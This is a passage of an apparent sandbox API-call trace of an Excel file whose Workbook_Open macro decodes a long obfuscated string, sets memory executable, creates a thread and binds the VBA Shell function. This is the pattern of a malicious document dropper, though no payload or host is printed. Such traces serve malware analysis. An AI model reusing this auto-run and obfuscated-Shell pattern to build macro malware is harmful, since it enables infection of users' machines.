_Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0068.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x17e240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0068.679] strcpy_s (in: _Dst=0xaeb56f8, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0068.679] IUnknown:AddRef (This=0xb560950) returned 0x4 [0068.679] ITypeLib:LocalReleaseTLibAttr (This=0xb560950) returned 0x0 [0068.679] IUnknown:Release (This=0xb560950) returned 0x3 [0068.680] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0bd00) [0068.680] IMalloc:Alloc (This=0x7fefecb5380, cb=0x118) returned 0xb5e1b60 [0068.680] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb5330 [0068.680] IMalloc:Alloc (This=0x7fefecb5380, cb=0x908) returned 0xafc38a0 [0068.685] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xb6294a0 [0068.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xb6293b0 [0068.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xb629410 [0068.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x28) returned 0xb629320 [0068.686] strcpy_s (in: _Dst=0xaeb5388, _DstSize=0x9, _Src="Workbook" | out: _Dst="Workbook") returned 0x0 [0068.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x218) returned 0xb57fd80 [0068.686] ITypeLib:RemoteGetLibAttr (in: This=0xaeffda0, ppTLibAttr=0x17d218, pDummy=0x0 | out: ppTLibAttr=0x17d218, pDummy=0x0) returned 0x0 [0068.686] ITypeLib:RemoteGetDocumentation (in: This=0xaeffda0, index=-1, refPtrFlags=0x17d230, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x769b920 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x769b920*="渰ﺏ߾") returned 0x0 [0068.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x17d2a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 57 [0068.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x17d3b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0068.687] ITypeLib:LocalReleaseTLibAttr (This=0xaeffda0) returned 0x0 [0068.687] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb581b20 [0068.687] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb50e0 [0068.687] IUnknown:Release (This=0xaeffda0) returned 0xf [0068.687] _mbscpy_s (in: _Dst=0x17d150, _DstSizeInBytes=0xe, _Src=0x4b22b16 | out: _Dst=0x17d150) returned 0x0 [0068.687] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.687] _mbscpy_s (in: _Dst=0x17d150, _DstSizeInBytes=0xe, _Src=0x17d159 | out: _Dst=0x17d150) returned 0x0 [0068.687] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0068.687] _mbscpy_s (in: _Dst=0x17d110, _DstSizeInBytes=0xe, _Src=0x4b22b16 | out: _Dst=0x17d110) returned 0x0 [0068.687] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.687] _mbscpy_s (in: _Dst=0x17d110, _DstSizeInBytes=0xe, _Src=0x17d119 | out: _Dst=0x17d110) returned 0x0 [0068.688] IMalloc:Alloc (This=0x7fefecb5380, cb=0x48) returned 0x776a940 [0068.688] strcpy_s (in: _Dst=0xaeb53a0, _DstSize=0xe, _Src="Workbook_Open" | out: _Dst="Workbook_Open") returned 0x0 [0068.688] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.688] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.688] GetCurrentProcess () returned 0xffffffffffffffff [0068.688] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x45) returned 1 [0068.688] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.688] IMalloc:Alloc (This=0x7fefecb5380, cb=0x30) returned 0xb3f1b50 [0068.688] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.688] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.688] GetCurrentProcess () returned 0xffffffffffffffff [0068.688] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x45) returned 1 [0068.688] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.688] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb6360 [0068.689] _mbscpy_s (in: _Dst=0x17d150, _DstSizeInBytes=0x2, _Src=0x4b22d56 | out: _Dst=0x17d150) returned 0x0 [0068.689] IMalloc:Alloc (This=0x7fefecb5380, cb=0x68) returned 0xad44030 [0068.689] strcpy_s (in: _Dst=0xaeb5798, _DstSize=0x2, _Src="i" | out: _Dst="i") returned 0x0 [0068.689] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb581f70 [0068.689] strcpy_s (in: _Dst=0xb0d8838, _DstSize=0x5, _Src="fine" | out: _Dst="fine") returned 0x0 [0068.689] strcpy_s (in: _Dst=0xb0d8848, _DstSize=0x4, _Src="job" | out: _Dst="job") returned 0x0 [0068.689] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.689] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.689] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.689] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.689] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.689] GetCurrentProcess () returned 0xffffffffffffffff [0068.689] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x5d) returned 1 [0068.689] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.690] _mbscpy_s (in: _Dst=0x17d150, _DstSizeInBytes=0x2, _Src=0x4b22d7a | out: _Dst=0x17d150) returned 0x0 [0068.690] IMalloc:Alloc (This=0x7fefecb5380, cb=0x60) returned 0xad43ee0 [0068.690] strcpy_s (in: _Dst=0xaeb53b8, _DstSize=0x2, _Src="l" | out: _Dst="l") returned 0x0 [0068.690] strcpy_s (in: _Dst=0xb0d8858, _DstSize=0x3, _Src="ll" | out: _Dst="ll") returned 0x0 [0068.690] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.690] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.690] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.690] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.690] GetCurrentProcess () returned 0xffffffffffffffff [0068.690] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x55) returned 1 [0068.690] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.690] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb65b0 [0068.690] IMalloc:Alloc (This=0x7fefecb5380, cb=0x14) returned 0x7c0bd00 [0068.690] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb5823c0 [0068.691] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0bd00) [0068.691] free (_Block=0x0) [0068.691] free (_Block=0x0) [0068.691] free (_Block=0x0) [0068.691] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x7c0bd00 [0068.691] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0bd00) [0068.691] IMalloc:Alloc (This=0x7fefecb5380, cb=0x58) returned 0x7cd61b0 [0068.691] GetCurrentProcess () returned 0xffffffffffffffff [0068.691] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.691] GetCurrentProcess () returned 0xffffffffffffffff [0068.691] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.691] IMalloc:Alloc (This=0x7fefecb5380, cb=0x13) returned 0x7c0bd00 [0068.691] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0bd00) [0068.691] IMalloc:Alloc (This=0x7fefecb5380, cb=0x58) returned 0x7cd6210 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.692] IMalloc:Alloc (This=0x7fefecb5380, cb=0x12) returned 0x7c0bd00 [0068.692] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0bd00) [0068.692] IMalloc:Alloc (This=0x7fefecb5380, cb=0x58) returned 0x7cd6150 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1148, dwSize=0x2) returned 1 [0068.692] GetCurrentProcess () returned 0xffffffffffffffff [0068.692] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c119c, dwSize=0x45) returned 1 [0068.692] VirtualProtect (in: lpAddress=0x51c119c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17e1cc | out: lpflOldProtect=0x17e1cc*=0x4) returned 1 [0068.693] GetCurrentProcess () returned 0xffffffffffffffff [0068.694] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb63ac, dwSize=0x45) returned 1 [0068.694] VirtualProtect (in: lpAddress=0xaeb63ac, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17e1cc | out: lpflOldProtect=0x17e1cc*=0x4) returned 1 [0068.694] GetCurrentProcess () returned 0xffffffffffffffff [0068.694] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.694] GetCurrentProcess () returned 0xffffffffffffffff [0068.694] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.694] GetCurrentProcess () returned 0xffffffffffffffff [0068.695] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6438, dwSize=0x2) returned 1 [0068.695] GetCurrentProcess () returned 0xffffffffffffffff [0068.695] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6490, dwSize=0x5d) returned 1 [0068.695] VirtualProtect (in: lpAddress=0xaeb6490, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x17e1cc | out: lpflOldProtect=0x17e1cc*=0x40) returned 1 [0068.695] GetCurrentProcess () returned 0xffffffffffffffff [0068.695] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.695] GetCurrentProcess () returned 0xffffffffffffffff [0068.695] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.695] GetCurrentProcess () returned 0xffffffffffffffff [0068.695] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6530, dwSize=0x2) returned 1 [0068.696] GetCurrentProcess () returned 0xffffffffffffffff [0068.696] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb65fc, dwSize=0x55) returned 1 [0068.696] VirtualProtect (in: lpAddress=0xaeb65fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x17e1cc | out: lpflOldProtect=0x17e1cc*=0x40) returned 1 [0068.696] free (_Block=0x0) [0068.696] free (_Block=0x0) [0068.696] free (_Block=0x0) [0068.697] IMalloc:Alloc (This=0x7fefecb5380, cb=0x8) returned 0xb5e9920 [0068.697] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb5e9920) returned 0x8 [0068.697] IMalloc:Alloc (This=0x7fefecb5380, cb=0x78) returned 0x7a313a0 [0068.697] IMalloc:GetSize (This=0x7fefecb5380, pv=0x7a313a0) returned 0x78 [0068.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0068.698] IMalloc:Alloc (This=0x7fefecb5380, cb=0x40) returned 0x77601c0 [0068.698] DispCallFunc (pvInstance=0x7a31400, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x17e130) returned 0x0 [0068.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee5901778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x17dbf0 | out: lpThreadId=0x17dbf0*=0xd38) returned 0xf6c [0068.731] PeekMessageA (in: lpMsg=0x17db90, hWnd=0x20360, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x17db90) returned 0 [0068.731] GetActiveWindow () returned 0x2038a [0068.732] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb229220, cb=0x800) returned 0x4deaa00 [0068.732] IMalloc:Alloc (This=0x7fefecb5380, cb=0x810) returned 0xb1d4e00 [0068.732] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x30) returned 0xb644020 [0068.732] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x65d0000 [0068.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5a9f1c, cbMultiByte=20, lpWideCharStr=0x65d00dc, cchWideChar=42 | out: lpWideCharStr="KKLALJSFDSAFASFQWFWQ") returned 20 [0068.735] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb582810 [0068.735] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x200) returned 0xb4d1c40 [0068.735] realloc (_Block=0x0, _Size=0x200) returned 0xc438840 [0068.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5a9f34, cbMultiByte=480, lpWideCharStr=0x65d016a, cchWideChar=962 | out: lpWideCharStr="AP@AAD@GAF@>@S@?AT@RDF@B@P@AE?EO@A@TAB@FASAF@F@A@B@A@G@FAO@@ATD?A?AT@?ADAC@BE?DD?QDQ>G@C@SAE@A@OEADQ@C@SAS@PA>AG@@EEEG@C@SAPDQ@A@FAG@A@E@ED??CAF@>A@ABAODF?GABATDC?P@B@S>GAT@T@?ARACDTDT?E@G@DAG@OAFA>@T>R@C@R@GD@EB@SA>@EA?EQDSEQACAB@?@TABABDC@SAGEBD@@C@?@?DPA>@R@T@BARA@ETA@ASA@EDDEDT@G@TAOE>>E@A@G@ADOD??RAR@A@DA?@TAPABDC>SAB@BDPDADFDS>OADADDP>SA?@QABABA@EEEQ@F@B@?D??T@@AD@O@FER>>ADA?AT@TA@ADA@ASAS@CD@D@?@@B@TAT@O>?@P@B@CAB@E@AEGEA@AAG@EE??T@G@QAQD?EB?O@OADAD@>@FAT@AET?@ASA@EDD@") returned 480 [0068.735] IMalloc:Alloc (This=0x7fefecb5380, cb=0x400) returned 0xb229220 [0068.736] IMalloc:Alloc (This=0x7fefecb5380, cb=0xc0) returned 0xaf4dc20 [0068.736] IMalloc:GetSize (This=0x7fefecb5380, pv=0xaf4dc20) returned 0xc0 [0068.737] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.737] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.737] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.737] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.737] GetCurrentProcess () returned 0xffffffffffffffff [0068.737] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x54) returned 1 [0068.737] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.737] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb582c60 [0068.737] IMalloc:Alloc (This=0x7fefecb5380, cb=0x318) returned 0x7e078f0 [0068.737] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.737] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.737] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.738] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.738] GetCurrentProcess () returned 0xffffffffffffffff [0068.738] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x54) returned 1 [0068.738] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.738] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb3ab0f0, cb=0x100) returned 0xb4e4300 [0068.739] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.739] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.740] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.740] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.740] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.740] GetCurrentProcess () returned 0xffffffffffffffff [0068.740] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x5c) returned 1 [0068.740] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.740] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb5c70 [0068.741] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb644060 [0068.741] IMalloc:Realloc (This=0x7fefecb5380, pv=0x7a314a0, cb=0x80) returned 0xb3ab0f0 [0068.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d9e, cbMultiByte=6, lpWideCharStr=0x17c330, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0068.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d9e, cbMultiByte=6, lpWideCharStr=0x17c370, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0068.741] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x17c328, pDescKind=0x17c33c, ppFuncDesc=0x17c340, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c328*=0xb563e98, pDescKind=0x17c33c*=1, ppFuncDesc=0x17c340, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.742] ITypeInfo:RemoteGetTypeAttr (in: This=0xb563e98, ppTypeAttr=0x17c330, pDummy=0x1 | out: ppTypeAttr=0x17c330, pDummy=0x1) returned 0x0 [0068.742] ITypeInfo:LocalReleaseTypeAttr (This=0xb563e98) returned 0x0 [0068.742] ITypeInfo:GetRefTypeInfo (in: This=0xb563e98, hreftype=0x400, ppTInfo=0x17c068 | out: ppTInfo=0x17c068*=0xb563ef0) returned 0x0 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c238 | out: ppvObject=0x17c238*=0x0) returned 0x80004002 [0068.742] ITypeInfo:RemoteGetTypeAttr (in: This=0xb563ef0, ppTypeAttr=0x17c0b8, pDummy=0x10 | out: ppTypeAttr=0x17c0b8, pDummy=0x10) returned 0x0 [0068.742] ITypeInfo:LocalReleaseTypeAttr (This=0xb563ef0) returned 0x0 [0068.742] IMalloc:Realloc (This=0x7fefecb5380, pv=0xaf64bb0, cb=0x20) returned 0xb6266b0 [0068.742] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb5e9900, cb=0x28) returned 0xb628480 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17bdc0 | out: ppvObject=0x17bdc0*=0x0) returned 0x80004002 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17bdb0 | out: ppvObject=0x17bdb0*=0x0) returned 0x80004002 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17bdb8 | out: ppvObject=0x17bdb8*=0x0) returned 0x80004002 [0068.742] ITypeInfo:RemoteGetTypeAttr (in: This=0xb563ef0, ppTypeAttr=0x17bde8, pDummy=0x10 | out: ppTypeAttr=0x17bde8, pDummy=0x10) returned 0x0 [0068.742] ITypeInfo:LocalReleaseTypeAttr (This=0xb563ef0) returned 0x0 [0068.742] IUnknown:AddRef (This=0xb563ef0) returned 0x2 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17bf60 | out: ppvObject=0x17bf60*=0x0) returned 0x80004002 [0068.742] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17bf58 | out: ppvObject=0x17bf58*=0x0) returned 0x80004002 [0068.742] IUnknown:Release (This=0xb563ef0) returned 0x1 [0068.742] IMalloc:Realloc (This=0x7fefecb5380, pv=0x7b3dd60, cb=0x100) returned 0xb4e4410 [0068.743] IUnknown:AddRef (This=0xb563ef0) returned 0x2 [0068.743] IUnknown:Release (This=0xb563ef0) returned 0x1 [0068.743] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17c0d0 | out: ppvObject=0x17c0d0*=0xb563e98) returned 0x0 [0068.743] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb563e98, memid=1610612745, invkind=1, pFuncIndex=0x17c0c8 | out: pFuncIndex=0x17c0c8*=0x9) returned 0x0 [0068.743] ITypeInfo2:GetParamCustData (in: This=0xb563e98, indexFunc=0x9, indexParam=0x1, GUID=0x7fee5cb4e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x17c0d8 | out: pVarVal=0x17c0d8*(varType=0x0, wReserved1=0xb4e, wReserved2=0x0, wReserved3=0x0, varVal1=0xb5a9c70, varVal2=0x17cde8)) returned 0x0 [0068.743] IUnknown:Release (This=0xb563e98) returned 0x1 [0068.743] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17c190 | out: ppvObject=0x17c190*=0xb563e98) returned 0x0 [0068.743] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb563e98, memid=1610612745, invkind=1, pFuncIndex=0x17c1d0 | out: pFuncIndex=0x17c1d0*=0x9) returned 0x0 [0068.743] ITypeInfo2:GetFuncCustData (in: This=0xb563e98, index=0x9, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c1e8 | out: pVarVal=0x17c1e8*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0 [0068.743] IUnknown:Release (This=0xb563e98) returned 0x1 [0068.743] IUnknown:AddRef (This=0xb563ef0) returned 0x2 [0068.743] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c088 | out: ppvObject=0x17c088*=0x0) returned 0x80004002 [0068.743] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c148 | out: ppvObject=0x17c148*=0x0) returned 0x80004002 [0068.743] IUnknown:QueryInterface (in: This=0xb563ef0, riid=0x7fee5cb2aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c020 | out: ppvObject=0x17c020*=0x0) returned 0x80004002 [0068.743] IUnknown:Release (This=0xb563ef0) returned 0x1 [0068.743] IUnknown:AddRef (This=0xb563e98) returned 0x2 [0068.743] ITypeInfo:LocalReleaseFuncDesc (This=0xb563e98) returned 0x0 [0068.743] IUnknown:Release (This=0xb563e98) returned 0x1 [0068.743] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c458 | out: ppvObject=0x17c458*=0x0) returned 0x80004002 [0068.744] IUnknown:AddRef (This=0xb563e98) returned 0x2 [0068.744] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb4e4300, cb=0x200) returned 0xb4d30e0 [0068.744] IMalloc:Realloc (This=0x7fefecb5380, pv=0x7a19160, cb=0x40) returned 0x7cc2c20 [0068.744] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb2c1290, cb=0x50) returned 0xb2a3ea0 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c3e0 | out: 